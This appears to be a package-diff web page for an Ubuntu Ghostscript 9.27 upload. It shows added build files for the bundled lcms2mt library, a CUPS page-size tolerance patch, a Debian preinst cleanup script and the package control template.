    --- 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcschemes/LittleCMS.xcscheme 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcschemes/LittleCMS.xcscheme 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,59 @@ +<?xml version="1.0" encoding="UTF-8"?> +<Scheme + LastUpgradeVersion = "0460" + version = "1.3"> + <BuildAction + parallelizeBuildables = "YES" + buildImplicitDependencies = "YES"> + <BuildActionEntries> + <BuildActionEntry + buildForTesting = "YES" + buildForRunning = "YES" + buildForProfiling = "YES" + buildForArchiving = "YES" + buildForAnalyzing = "YES"> + <BuildableReference + BuildableIdentifier = "primary" + BlueprintIdentifier = "8D07F2BC0486CC7A007CD1D0" + BuildableName = "LittleCMS.framework" + BlueprintName = "LittleCMS" + ReferencedContainer = "container:LittleCMS.xcodeproj"> + </BuildableReference> + </BuildActionEntry> + </BuildActionEntries> + </BuildAction> + <TestAction + selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB" + selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB" + shouldUseLaunchSchemeArgsEnv = "YES" + buildConfiguration = "Debug"> + <Testables> + </Testables> + </TestAction> + <LaunchAction + selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB" + selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB" + launchStyle = "0" + useCustomWorkingDirectory = "NO" + buildConfiguration = "Debug" + ignoresPersistentStateOnLaunch = "NO" + debugDocumentVersioning = "YES" + allowLocationSimulation = "YES"> + <AdditionalOptions> + </AdditionalOptions> + </LaunchAction> + <ProfileAction + shouldUseLaunchSchemeArgsEnv = "YES" + savedToolIdentifier = "" + useCustomWorkingDirectory = "NO" + buildConfiguration = "Release" + debugDocumentVersioning = "YES"> + </ProfileAction> + <AnalyzeAction + buildConfiguration = "Debug"> + </AnalyzeAction> + <ArchiveAction + buildConfiguration = "Release" + revealArchiveInOrganizer = "YES"> + </ArchiveAction> +</Scheme>
  79. Download patch lcms2mt/m4/ax_append_flag.m4

    --- 9.27~dfsg-3.1/lcms2mt/m4/ax_append_flag.m4 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/m4/ax_append_flag.m4 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,71 @@ +# =========================================================================== +# http://www.gnu.org/software/autoconf-archive/ax_append_flag.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_APPEND_FLAG(FLAG, [FLAGS-VARIABLE]) +# +# DESCRIPTION +# +# FLAG is appended to the FLAGS-VARIABLE shell variable, with a space +# added in between. +# +# If FLAGS-VARIABLE is not specified, the current language's flags (e.g. +# CFLAGS) is used. FLAGS-VARIABLE is not changed if it already contains +# FLAG. If FLAGS-VARIABLE is unset in the shell, it is set to exactly +# FLAG. +# +# NOTE: Implementation based on AX_CFLAGS_GCC_OPTION. +# +# LICENSE +# +# Copyright (c) 2008 Guido U. Draheim <guidod@gmx.de> +# Copyright (c) 2011 Maarten Bosmans <mkbosmans@gmail.com> +# +# This program is free software: you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by the +# Free Software Foundation, either version 3 of the License, or (at your +# option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General +# Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program. If not, see <http://www.gnu.org/licenses/>. +# +# As a special exception, the respective Autoconf Macro's copyright owner +# gives unlimited permission to copy, distribute and modify the configure +# scripts that are the output of Autoconf when processing the Macro. You +# need not follow the terms of the GNU General Public License when using +# or distributing such scripts, even though portions of the text of the +# Macro appear in them. The GNU General Public License (GPL) does govern +# all other use of the material that constitutes the Autoconf Macro. +# +# This special exception to the GPL applies to versions of the Autoconf +# Macro released by the Autoconf Archive. When you make and distribute a +# modified version of the Autoconf Macro, you may extend this special +# exception to the GPL to apply to your modified version as well. + +#serial 6 + +AC_DEFUN([AX_APPEND_FLAG], +[dnl +AC_PREREQ(2.64)dnl for _AC_LANG_PREFIX and AS_VAR_SET_IF +AS_VAR_PUSHDEF([FLAGS], [m4_default($2,_AC_LANG_PREFIX[FLAGS])]) +AS_VAR_SET_IF(FLAGS,[ + AS_CASE([" AS_VAR_GET(FLAGS) "], + [*" $1 "*], [AC_RUN_LOG([: FLAGS already contains $1])], + [ + AS_VAR_APPEND(FLAGS,[" $1"]) + AC_RUN_LOG([: FLAGS="$FLAGS"]) + ]) + ], + [ + AS_VAR_SET(FLAGS,[$1]) + AC_RUN_LOG([: FLAGS="$FLAGS"]) + ]) +AS_VAR_POPDEF([FLAGS])dnl +])dnl AX_APPEND_FLAG
  80. Download patch debian/patches/020190823~2d6bb6e_cups_pwgraster_output_device_reduced_page_size_comparison_tolerances.patch

    --- 9.27~dfsg-3.1/debian/patches/020190823~2d6bb6e_cups_pwgraster_output_device_reduced_page_size_comparison_tolerances.patch 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/patches/020190823~2d6bb6e_cups_pwgraster_output_device_reduced_page_size_comparison_tolerances.patch 2019-08-30 09:49:08.000000000 +0000 @@ -0,0 +1,13 @@ +--- a/cups/gdevcups.c ++++ b/cups/gdevcups.c +@@ -3470,8 +3470,8 @@ + * Find the matching page size... + */ + +-#define LONG_EDGE_LENGTH_MATCH_LIMIT 0.07 +-#define SHORT_EDGE_LENGTH_MATCH_LIMIT 0.05 ++#define LONG_EDGE_LENGTH_MATCH_LIMIT 0.01 ++#define SHORT_EDGE_LENGTH_MATCH_LIMIT 0.01 + #define PAGESIZE_SCORE_NAME 3 + #define PAGESIZE_SCORE_SIZE_MARGINS 2 + #define PAGESIZE_SCORE_SIZE 1
  81. Download patch lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcschemes/testbed.xcscheme

    --- 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcschemes/testbed.xcscheme 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcschemes/testbed.xcscheme 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,86 @@ +<?xml version="1.0" encoding="UTF-8"?> +<Scheme + LastUpgradeVersion = "0460" + version = "1.3"> + <BuildAction + parallelizeBuildables = "YES" + buildImplicitDependencies = "YES"> + <BuildActionEntries> + <BuildActionEntry + buildForTesting = "YES" + buildForRunning = "YES" + buildForProfiling = "YES" + buildForArchiving = "YES" + buildForAnalyzing = "YES"> + <BuildableReference + BuildableIdentifier = "primary" + BlueprintIdentifier = "546B29A210AC677E0054D33A" + BuildableName = "testbed" + BlueprintName = "testbed" + ReferencedContainer = "container:LittleCMS.xcodeproj"> + </BuildableReference> + </BuildActionEntry> + </BuildActionEntries> + </BuildAction> + <TestAction + selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB" + selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB" + shouldUseLaunchSchemeArgsEnv = "YES" + buildConfiguration = "Debug"> + <Testables> + </Testables> + <MacroExpansion> + <BuildableReference + BuildableIdentifier = "primary" + BlueprintIdentifier = "546B29A210AC677E0054D33A" + BuildableName = "testbed" + BlueprintName = "testbed" + ReferencedContainer = "container:LittleCMS.xcodeproj"> + </BuildableReference> + </MacroExpansion> + </TestAction> + <LaunchAction + selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB" + selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB" + launchStyle = "0" + useCustomWorkingDirectory = "NO" + buildConfiguration = "Debug" + ignoresPersistentStateOnLaunch = "NO" + debugDocumentVersioning = "YES" + allowLocationSimulation = "YES"> + <BuildableProductRunnable> + <BuildableReference + BuildableIdentifier = "primary" + BlueprintIdentifier = "546B29A210AC677E0054D33A" + BuildableName = "testbed" + BlueprintName = "testbed" + ReferencedContainer = "container:LittleCMS.xcodeproj"> + </BuildableReference> + </BuildableProductRunnable> + <AdditionalOptions> + </AdditionalOptions> + </LaunchAction> + <ProfileAction + shouldUseLaunchSchemeArgsEnv = "YES" + savedToolIdentifier = "" + useCustomWorkingDirectory = "NO" + buildConfiguration = "Release" + debugDocumentVersioning = "YES"> + <BuildableProductRunnable> + <BuildableReference + BuildableIdentifier = "primary" + BlueprintIdentifier = "546B29A210AC677E0054D33A" + BuildableName = "testbed" + BlueprintName = "testbed" + ReferencedContainer = "container:LittleCMS.xcodeproj"> + </BuildableReference> + </BuildableProductRunnable> + </ProfileAction> + <AnalyzeAction + buildConfiguration = "Debug"> + </AnalyzeAction> + <ArchiveAction + buildConfiguration = "Release" + revealArchiveInOrganizer = "YES"> + </ArchiveAction> +</Scheme>
  82. Download patch lcms2mt/m4/ltoptions.m4
  83. Download patch lcms2mt/missing
  84. Download patch debian/patches/020190824~3e09ced_cups_pwgraster_output_device_improved_page_size_matching_with_ppd.patch
  85. Download patch debian/ghostscript.preinst

    --- 9.27~dfsg-3.1/debian/ghostscript.preinst 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/ghostscript.preinst 2019-08-15 15:31:01.000000000 +0000 @@ -0,0 +1,49 @@ +#!/bin/sh + +set -e + +case "$1" in + install|upgrade) + # Make sure the /etc/gs-gpl/ files are actually gone + # (they might have stayed around during a Etch-Lenny dist-upgrade). + if dpkg --compare-versions "$2" lt-nl "9.05~dfsg-6.2"; then + rm -rf /etc/gs-gpl/ + fi + + # Do away with update-alternative for /usr/bin/gs, we have one + # grand unified Ghostscript now! + if dpkg --compare-versions "$2" lt-nl "8.63.dfsg.1-1"; then + update-alternatives --remove-all gs || true + update-alternatives --remove-all gs.1 || true + fi + + # Do away with update-alternative for /usr/bin/ps2pdf, upstream + # provides it as a script + if dpkg --compare-versions "$2" lt-nl "8.64~dfsg-1"; then + update-alternatives --remove-all ps2pdf || true + fi + + # Remove obsolete defoma files + if dpkg --compare-versions "$2" lt-nl "8.71~dfsg2-1"; then + rm -rf /var/lib/defoma/gs.d + rm -f /etc/defoma/ghostscript.subst-rule + rm -f /etc/defoma/ghostscript.subst-rule~ + rm -f /var/lib/defoma/ghostscript.subst-cache + fi + + # Purge obsolete defoma cruft to silence warnings + if dpkg --compare-versions "$2" lt-nl "8.71.dfsg.2-1"; then + defoma-app purge gs 2>/dev/null || true + fi + ;; + abort-upgrade) + ;; + *) + echo "preinst called with unknown argument \`$1'" >&2 + exit 1 + ;; +esac + +#DEBHELPER# + +exit 0
  86. Download patch debian/control.in.in

    --- 9.27~dfsg-3.1/debian/control.in.in 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/control.in.in 2019-08-15 15:31:01.000000000 +0000 @@ -0,0 +1,128 @@ +Source: ghostscript +Section: text +Priority: optional +Maintainer: Debian Printing Team <debian-printing@lists.debian.org> +Build-Depends: @cdbs@ +Standards-Version: 4.1.1 +Uploaders: Jonas Smedegaard <dr@jones.dk>, + Michael Gilbert <mgilbert@debian.org>, + Bastien ROUCARIÈS <roucaries.bastien+debian@gmail.com> +Homepage: https://www.ghostscript.com/ +Vcs-Git: https://anonscm.debian.org/git/printing/ghostscript.git +Vcs-Browser: https://anonscm.debian.org/git/printing/ghostscript.git + +Package: ghostscript +Architecture: any +Multi-Arch: foreign +Provides: ${cdbs:Provides} +Recommends: ${cdbs:Recommends} +Suggests: ${cdbs:Suggests} +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + libgs__VER__ (= ${binary:Version}), + ${misc:Depends} +Description: interpreter for the PostScript language and for PDF + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + Furthermore, it can render PostScript and PDF files as graphics to be + printed on non-PostScript printers. Supported printers include common + dot-matrix, inkjet and laser models. + +Package: ghostscript-x +Architecture: any +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + ${misc:Depends} +Description: interpreter for the PostScript language and for PDF - X11 support + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package contains the GPL Ghostscript output device for X11. + +Package: ghostscript-doc +Section: doc +Architecture: all +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + ${misc:Depends} +Suggests: ${cdbs:Suggests} +Description: interpreter for the PostScript language and for PDF - Documentation + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package contains documentation for GPL Ghostscript, mainly + targeted developers and advanced users. + +Package: libgs__VER__ +Section: libs +Architecture: any +Pre-Depends: ${misc:Pre-Depends} +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + ${misc:Depends}, + libgs__VER__-common (= ${source:Version}) +Multi-Arch: same +Description: interpreter for the PostScript language and for PDF - Library + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package provides the Ghostscript library which makes the + facilities of GPL Ghostscript available to applications. + +Package: libgs__VER__-common +Section: libs +Architecture: all +Depends: ${misc:Depends} +Recommends: ${cdbs:Recommends} +Multi-Arch: foreign +Description: interpreter for the PostScript language and for PDF - common files + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package provides common architecture-independent files needed by + the GPL Ghostscript library. + . + By default, GPL Ghostscript uses a font from the fonts-droid package to + approximate glyphs in PDFs for which the requested CJK TrueType font + is missing. If the fonts-droid package is not installed, these glyphs + will be rendered as bullets. + +Package: libgs-dev +Section: libdevel +Architecture: any +Depends: ${devlibs:Depends}, + ${cdbs:Depends}, + ${misc:Depends} +Multi-Arch: same +Description: interpreter for the PostScript language and for PDF - Development Files + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package provides the development files for the GPL Ghostscript + library which makes the facilities of GPL Ghostscript available to + applications. + +Package: ghostscript-dbg +Architecture: any +Section: debug +Priority: extra +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + libgs__VER__ (= ${binary:Version}) | + ghostscript (= ${binary:Version}) | + ghostscript-x (= ${binary:Version}), + ${misc:Depends} +Description: interpreter for the PostScript language and for PDF - Debug symbols + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package contains the debugging symbols for ghostscript, + ghostscript-x, and libgs__VER__.
  87. Download patch lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/mariama.mode1v3
  88. Download patch lcms2mt/Projects/BorlandC_5.5/mklcmsdll.bat

    --- 9.27~dfsg-3.1/lcms2mt/Projects/BorlandC_5.5/mklcmsdll.bat 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/BorlandC_5.5/mklcmsdll.bat 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,14 @@ +@echo off +echo. +echo This will build the littlecms DLL using Borland C 5.5 compiler. +echo. +echo Press Ctrl-C to abort, or +pause +bcc32 @lcmsdll.lst +if errorlevel 0 ilink32 @lcmsdll.lk +if errorlevel 0 brc32 -fe ..\..\bin\lcms2.dll lcms2.rc +del *.obj +del *.res +echo Done! + +
  89. Download patch lcms2mt/m4/ltversion.m4

    --- 9.27~dfsg-3.1/lcms2mt/m4/ltversion.m4 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/m4/ltversion.m4 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,23 @@ +# ltversion.m4 -- version numbers -*- Autoconf -*- +# +# Copyright (C) 2004 Free Software Foundation, Inc. +# Written by Scott James Remnant, 2004 +# +# This file is free software; the Free Software Foundation gives +# unlimited permission to copy and/or distribute it, with or without +# modifications, as long as this notice is preserved. + +# @configure_input@ + +# serial 3337 ltversion.m4 +# This file is part of GNU Libtool + +m4_define([LT_PACKAGE_VERSION], [2.4.2]) +m4_define([LT_PACKAGE_REVISION], [1.3337]) + +AC_DEFUN([LTVERSION_VERSION], +[macro_version='2.4.2' +macro_revision='1.3337' +_LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?]) +_LT_DECL(, macro_revision, 0) +])
  90. Download patch lcms2mt/m4/lt~obsolete.m4

    --- 9.27~dfsg-3.1/lcms2mt/m4/lt~obsolete.m4 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/m4/lt~obsolete.m4 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,98 @@ +# lt~obsolete.m4 -- aclocal satisfying obsolete definitions. -*-Autoconf-*- +# +# Copyright (C) 2004, 2005, 2007, 2009 Free Software Foundation, Inc. +# Written by Scott James Remnant, 2004. +# +# This file is free software; the Free Software Foundation gives +# unlimited permission to copy and/or distribute it, with or without +# modifications, as long as this notice is preserved. + +# serial 5 lt~obsolete.m4 + +# These exist entirely to fool aclocal when bootstrapping libtool. +# +# In the past libtool.m4 has provided macros via AC_DEFUN (or AU_DEFUN) +# which have later been changed to m4_define as they aren't part of the +# exported API, or moved to Autoconf or Automake where they belong. +# +# The trouble is, aclocal is a bit thick. It'll see the old AC_DEFUN +# in /usr/share/aclocal/libtool.m4 and remember it, then when it sees us +# using a macro with the same name in our local m4/libtool.m4 it'll +# pull the old libtool.m4 in (it doesn't see our shiny new m4_define +# and doesn't know about Autoconf macros at all.) +# +# So we provide this file, which has a silly filename so it's always +# included after everything else. This provides aclocal with the +# AC_DEFUNs it wants, but when m4 processes it, it doesn't do anything +# because those macros already exist, or will be overwritten later. +# We use AC_DEFUN over AU_DEFUN for compatibility with aclocal-1.6. +# +# Anytime we withdraw an AC_DEFUN or AU_DEFUN, remember to add it here. +# Yes, that means every name once taken will need to remain here until +# we give up compatibility with versions before 1.7, at which point +# we need to keep only those names which we still refer to. + +# This is to help aclocal find these macros, as it can't see m4_define. +AC_DEFUN([LTOBSOLETE_VERSION], [m4_if([1])]) + +m4_ifndef([AC_LIBTOOL_LINKER_OPTION], [AC_DEFUN([AC_LIBTOOL_LINKER_OPTION])]) +m4_ifndef([AC_PROG_EGREP], [AC_DEFUN([AC_PROG_EGREP])]) +m4_ifndef([_LT_AC_PROG_ECHO_BACKSLASH], [AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH])]) +m4_ifndef([_LT_AC_SHELL_INIT], [AC_DEFUN([_LT_AC_SHELL_INIT])]) +m4_ifndef([_LT_AC_SYS_LIBPATH_AIX], [AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX])]) +m4_ifndef([_LT_PROG_LTMAIN], [AC_DEFUN([_LT_PROG_LTMAIN])]) +m4_ifndef([_LT_AC_TAGVAR], [AC_DEFUN([_LT_AC_TAGVAR])]) +m4_ifndef([AC_LTDL_ENABLE_INSTALL], [AC_DEFUN([AC_LTDL_ENABLE_INSTALL])]) +m4_ifndef([AC_LTDL_PREOPEN], [AC_DEFUN([AC_LTDL_PREOPEN])]) +m4_ifndef([_LT_AC_SYS_COMPILER], [AC_DEFUN([_LT_AC_SYS_COMPILER])]) +m4_ifndef([_LT_AC_LOCK], [AC_DEFUN([_LT_AC_LOCK])]) +m4_ifndef([AC_LIBTOOL_SYS_OLD_ARCHIVE], [AC_DEFUN([AC_LIBTOOL_SYS_OLD_ARCHIVE])]) +m4_ifndef([_LT_AC_TRY_DLOPEN_SELF], [AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF])]) +m4_ifndef([AC_LIBTOOL_PROG_CC_C_O], [AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O])]) +m4_ifndef([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], [AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS])]) +m4_ifndef([AC_LIBTOOL_OBJDIR], [AC_DEFUN([AC_LIBTOOL_OBJDIR])]) +m4_ifndef([AC_LTDL_OBJDIR], [AC_DEFUN([AC_LTDL_OBJDIR])]) +m4_ifndef([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], [AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH])]) +m4_ifndef([AC_LIBTOOL_SYS_LIB_STRIP], [AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP])]) +m4_ifndef([AC_PATH_MAGIC], [AC_DEFUN([AC_PATH_MAGIC])]) +m4_ifndef([AC_PROG_LD_GNU], [AC_DEFUN([AC_PROG_LD_GNU])]) +m4_ifndef([AC_PROG_LD_RELOAD_FLAG], [AC_DEFUN([AC_PROG_LD_RELOAD_FLAG])]) +m4_ifndef([AC_DEPLIBS_CHECK_METHOD], [AC_DEFUN([AC_DEPLIBS_CHECK_METHOD])]) +m4_ifndef([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI])]) +m4_ifndef([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], [AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE])]) +m4_ifndef([AC_LIBTOOL_PROG_COMPILER_PIC], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC])]) +m4_ifndef([AC_LIBTOOL_PROG_LD_SHLIBS], [AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS])]) +m4_ifndef([AC_LIBTOOL_POSTDEP_PREDEP], [AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP])]) +m4_ifndef([LT_AC_PROG_EGREP], [AC_DEFUN([LT_AC_PROG_EGREP])]) +m4_ifndef([LT_AC_PROG_SED], [AC_DEFUN([LT_AC_PROG_SED])]) +m4_ifndef([_LT_CC_BASENAME], [AC_DEFUN([_LT_CC_BASENAME])]) +m4_ifndef([_LT_COMPILER_BOILERPLATE], [AC_DEFUN([_LT_COMPILER_BOILERPLATE])]) +m4_ifndef([_LT_LINKER_BOILERPLATE], [AC_DEFUN([_LT_LINKER_BOILERPLATE])]) +m4_ifndef([_AC_PROG_LIBTOOL], [AC_DEFUN([_AC_PROG_LIBTOOL])]) +m4_ifndef([AC_LIBTOOL_SETUP], [AC_DEFUN([AC_LIBTOOL_SETUP])]) +m4_ifndef([_LT_AC_CHECK_DLFCN], [AC_DEFUN([_LT_AC_CHECK_DLFCN])]) +m4_ifndef([AC_LIBTOOL_SYS_DYNAMIC_LINKER], [AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER])]) +m4_ifndef([_LT_AC_TAGCONFIG], [AC_DEFUN([_LT_AC_TAGCONFIG])]) +m4_ifndef([AC_DISABLE_FAST_INSTALL], [AC_DEFUN([AC_DISABLE_FAST_INSTALL])]) +m4_ifndef([_LT_AC_LANG_CXX], [AC_DEFUN([_LT_AC_LANG_CXX])]) +m4_ifndef([_LT_AC_LANG_F77], [AC_DEFUN([_LT_AC_LANG_F77])]) +m4_ifndef([_LT_AC_LANG_GCJ], [AC_DEFUN([_LT_AC_LANG_GCJ])]) +m4_ifndef([AC_LIBTOOL_LANG_C_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG])]) +m4_ifndef([_LT_AC_LANG_C_CONFIG], [AC_DEFUN([_LT_AC_LANG_C_CONFIG])]) +m4_ifndef([AC_LIBTOOL_LANG_CXX_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG])]) +m4_ifndef([_LT_AC_LANG_CXX_CONFIG], [AC_DEFUN([_LT_AC_LANG_CXX_CONFIG])]) +m4_ifndef([AC_LIBTOOL_LANG_F77_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_F77_CONFIG])]) +m4_ifndef([_LT_AC_LANG_F77_CONFIG], [AC_DEFUN([_LT_AC_LANG_F77_CONFIG])]) +m4_ifndef([AC_LIBTOOL_LANG_GCJ_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_GCJ_CONFIG])]) +m4_ifndef([_LT_AC_LANG_GCJ_CONFIG], [AC_DEFUN([_LT_AC_LANG_GCJ_CONFIG])]) +m4_ifndef([AC_LIBTOOL_LANG_RC_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_RC_CONFIG])]) +m4_ifndef([_LT_AC_LANG_RC_CONFIG], [AC_DEFUN([_LT_AC_LANG_RC_CONFIG])]) +m4_ifndef([AC_LIBTOOL_CONFIG], [AC_DEFUN([AC_LIBTOOL_CONFIG])]) +m4_ifndef([_LT_AC_FILE_LTDLL_C], [AC_DEFUN([_LT_AC_FILE_LTDLL_C])]) +m4_ifndef([_LT_REQUIRED_DARWIN_CHECKS], [AC_DEFUN([_LT_REQUIRED_DARWIN_CHECKS])]) +m4_ifndef([_LT_AC_PROG_CXXCPP], [AC_DEFUN([_LT_AC_PROG_CXXCPP])]) +m4_ifndef([_LT_PREPARE_SED_QUOTE_VARS], [AC_DEFUN([_LT_PREPARE_SED_QUOTE_VARS])]) +m4_ifndef([_LT_PROG_ECHO_BACKSLASH], [AC_DEFUN([_LT_PROG_ECHO_BACKSLASH])]) +m4_ifndef([_LT_PROG_F77], [AC_DEFUN([_LT_PROG_F77])]) +m4_ifndef([_LT_PROG_FC], [AC_DEFUN([_LT_PROG_FC])]) +m4_ifndef([_LT_PROG_CXX], [AC_DEFUN([_LT_PROG_CXX])])
  91. Download patch debian/patches/CVE-2019-14817.patch
  92. Download patch lcms2mt/Makefile.in
  93. Download patch lcms2mt/aclocal.m4
  94. Download patch debian/copyright
  95. Download patch lcms2mt/Projects/BorlandC_5.5/lcmsdll.lst

    --- 9.27~dfsg-3.1/lcms2mt/Projects/BorlandC_5.5/lcmsdll.lst 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/BorlandC_5.5/lcmsdll.lst 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,29 @@ +-5 -C -DCMS_DLL -DCMS_DLL_BUILD +-I..\..\include -K -O2 -a8 -d -ff -w -wucp -wsig -wdef -wnod -wamb +-OS -RT- -R- -tWM -tWD -w- -x- -c +..\..\src\cmscam02.c +..\..\src\cmscgats.c +..\..\src\cmscnvrt.c +..\..\src\cmserr.c +..\..\src\cmsgamma.c +..\..\src\cmsgmt.c +..\..\src\cmsintrp.c +..\..\src\cmsio0.c +..\..\src\cmsio1.c +..\..\src\cmslut.c +..\..\src\cmsmd5.c +..\..\src\cmsmtrx.c +..\..\src\cmsnamed.c +..\..\src\cmsopt.c +..\..\src\cmspack.c +..\..\src\cmspcs.c +..\..\src\cmsplugin.c +..\..\src\cmsps2.c +..\..\src\cmssamp.c +..\..\src\cmssm.c +..\..\src\cmstypes.c +..\..\src\cmsvirt.c +..\..\src\cmswtpnt.c +..\..\src\cmsxform.c +..\..\src\cmshalf.c +..\..\src\cmsalpha.c \ No newline at end of file
  96. Download patch lcms2mt/INSTALL

    --- 9.27~dfsg-3.1/lcms2mt/INSTALL 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/INSTALL 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,2 @@ + + Please see the documentation in doc folder
  97. Download patch debian/copyright_hints
  98. Download patch lcms2mt/Projects/.gitignore

    --- 9.27~dfsg-3.1/lcms2mt/Projects/.gitignore 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/.gitignore 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,6 @@ +**.opensdf +**.sdf +**.suo +**.user +Debug/ +Release/ Binary files 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/English.lproj/InfoPlist.strings and 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/English.lproj/InfoPlist.strings differ Binary files 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/._Info.plist and 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/._Info.plist differ
  99. Download patch lcms2mt/Projects/BorlandC_5.5/lcmsdll.lk

